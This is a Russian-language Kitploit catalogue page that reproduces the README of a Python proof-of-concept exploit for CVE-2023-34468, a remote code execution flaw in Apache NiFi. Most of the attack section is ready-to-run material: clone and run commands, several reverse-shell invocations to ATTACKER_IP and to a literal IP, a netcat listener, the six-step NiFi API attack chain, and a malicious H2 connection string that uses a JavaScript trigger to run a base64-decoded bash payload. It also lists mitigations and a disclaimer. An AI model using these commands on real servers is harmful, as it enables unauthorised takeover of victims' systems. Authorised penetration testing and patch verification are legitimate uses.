Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2023-34468 — CVE-2023-34468 - Apache NiFi H2 RCE PoC | Kitploit
Инструменты/GitHubGitHub/jeanpt/cve-2023-34468
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationPayload Development
GitHubjeanpt/cve-2023-34468

CVE-2023-34468

CVE-2023-34468 - Apache NiFi H2 RCE PoC

Репозиторий
3 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Эксплойт CVE-2023-34468

GitHub stars GitHub license

Обзор

Этот репозиторий предоставляет инструмент-эксплойт на Python для CVE-2023-34468 — критической уязвимости удаленного выполнения кода (CVSS 9.8) в Apache NiFi версий с 0.0.2 по 1.21.0. Он позволяет аутентифицированным пользователям выполнять произвольный код путем манипуляции строками подключения к базе данных H2 со встроенными триггерами.

⚠️ Предупреждение: Только для образовательных целей и авторизованного тестирования. Несанкционированный доступ к компьютерным системам является незаконным.

Детали уязвимости

  • CVE ID: CVE-2023-34468
  • Затронутые версии: Apache NiFi 0.0.2–1.21.0
  • Воздействие: Удаленное выполнение кода (RCE)
  • Оценка CVSS: 9.8 (Критическая)
  • Дата обнаружения: 12 июня 2023 г.
  • Описание: Контроллеры сервисов DBCPConnectionPool и HikariCPConnectionPool позволяют пользователям настраивать URL базы данных с драйвером H2, который позволяет выполнять произвольный Java-код через функциональность CREATE TRIGGER H2. При инициализации соединения встроенный JavaScript-код выполняется с привилегиями NiFi.

Предварительные требования

  • Python 3.7+
  • Библиотека requests
  • Сетевой доступ к API NiFi (стандартный порт 8080 или 8443)
  • Целевой экземпляр NiFi без аутентификации ИЛИ действительные учетные данные
  • Настройка слушателя для reverse shell (например, nc -lnvp 5555)

Быстрый старт

Клонирование и установка

root@kitploit:~
git clone https://github.com/Jeanpt/CVE-2023-34468.git
cd CVE-2023-34468
pip install -r requirements.txt

Неаутентифицированный NiFi (учетные данные не требуются)

root@kitploit:~
# Запустите ваш слушатель
nc -lnvp 5555

# Запустите эксплойт — аутентификация определяется автоматически, для открытых экземпляров флаги не нужны
python3 exploit.py \
  -t http://nifi.target.com:8080 \
  -c "bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1" \
  -lh ATTACKER_IP \
  -lp 5555

Аутентифицированный NiFi (имя пользователя/пароль)

root@kitploit:~
python3 exploit.py \
  -t https://nifi.target.com:8443 \
  -c "bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1" \
  -lh ATTACKER_IP \
  -lp 5555 \
  -u admin -p password123

Аутентифицированный NiFi (bearer token)

root@kitploit:~
python3 exploit.py \
  -t https://nifi.target.com:8443 \
  -c "bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1" \
  -lh ATTACKER_IP \
  -lp 5555 \
  --token <your_bearer_token>

Пропустить очистку (оставить артефакты на цели)

root@kitploit:~
python3 exploit.py -t http://target:8080 -c "..." -lh ATTACKER_IP -lp 5555 --no-cleanup

Все опции

root@kitploit:~
python3 exploit.py --help

Проверка: Проверьте ваш слушатель на наличие соединения reverse shell. Выполните id, чтобы подтвердить выполнение кода.

Как это работает (Технические детали)

Схема атаки

  1. Разведка: Определение версии NiFi через /nifi-api/system-diagnostics
  2. Создание DBCP-сервиса: POST вредоносной строки подключения H2 на /nifi-api/process-groups/root/controller-services
  3. Создание процессора: POST процессора ExecuteSQL в ту же группу процессов
  4. Настройка процессора: Привязка процессора к вредоносному DBCP-сервису
  5. Включение сервиса: PUT на /nifi-api/controller-services/{id}/run-status с состоянием ENABLED
  6. Запуск RCE: PUT на /nifi-api/processors/{id}/run-status с состоянием RUNNING — триггер H2 срабатывает при подключении

Структура полезной нагрузки H2

root@kitploit:~
jdbc:h2:file:/tmp/{random_db}.db;TRACE_LEVEL_SYSTEM_OUT=0\;CREATE TRIGGER {random_name}
BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript
java.lang.Runtime.getRuntime().exec('bash -c {echo,BASE64_PAYLOAD}|{base64,-d}|{bash,-i}')
$$--=x

Ключевые моменты:

  • Экранирование точки с запятой обратной косой чертой: \;
  • JavaScript срабатывает на BEFORE SELECT ON INFORMATION_SCHEMA.TABLES (автоматический запуск)
  • Кодирование полезной нагрузки в Base64 для избежания проблем со спецсимволами
  • Символы равенства в заполнении заменяются пробелами для избежания проблем с парсингом H2

Примеры полезных нагрузок

Reverse Shell

root@kitploit:~
# Запуск эксплойта напрямую
python3 exploit.py -t http://target:8080 -c "bash -i >& /dev/tcp/10.10.16.46/5555 0>&1" -lh 10.10.16.46 -lp 5555

Выполнение команды

root@kitploit:~
python3 exploit.py -t http://target:8080 -c "touch /tmp/pwned" -lh 127.0.0.1 -lp 5555

Меры по смягчению

  • Обновление: Обновитесь до Apache NiFi 1.22.0 или новее
  • Контроль доступа: Ограничьте доступ к API NiFi с помощью брандмауэра/WAF
  • Аутентификация: Включите и принудительно применяйте аутентификацию в NiFi
  • Мониторинг: Оповещайте о необычных конфигурациях контроллеров сервисов
  • Сегментация сети: Изолируйте NiFi от ненадежных сетей

Ссылки

  • NVD - CVE-2023-34468
  • Apache NiFi Security Advisory
  • NIFI-11653 - Issue Tracker
  • Apache Mailing List Discussion

Отказ от ответственности

Этот инструмент предоставлен только для целей исследования безопасности и авторизованного тестирования. Автор не несет ответственности за неправильное использование или ущерб, причиненный данным эксплойтом. Всегда тестируйте ответственно только в авторизованных средах.

Благодарности

  • Обнаружение: Matei "Mal" Badanoiu
  • Модуль Metasploit: h00die
  • POC на Python: Jean

Лицензия

Лицензия MIT — подробности в файле LICENSE


Создано для исследований в области безопасности и авторизованного тестирования на проникновение.

Topics: apache-nifi h2-database rce exploit cve-2023-34468 python security-research

Скачать инструмент
КомандаОписание
-t, --targetURL целевого экземпляра NiFi (обязательно)
-c, --commandКоманда для выполнения (обязательно)
-lh, --lhostХост слушателя для обратного вызова (обязательно)
-lp, --lportПорт слушателя для обратного вызова (обязательно)
-u, --usernameИмя пользователя NiFi (для аутентифицированных экземпляров)
-p, --passwordПароль NiFi (для аутентифицированных экземпляров)
--tokenBearer token (для аутентифицированных экземпляров)
--no-cleanupПропустить очистку после эксплуатации
--delayСекунд ожидания перед очисткой (по умолчанию: 10)
--driver-pathПереопределить путь к jar-файлу драйвера H2 (по умолчанию опущен)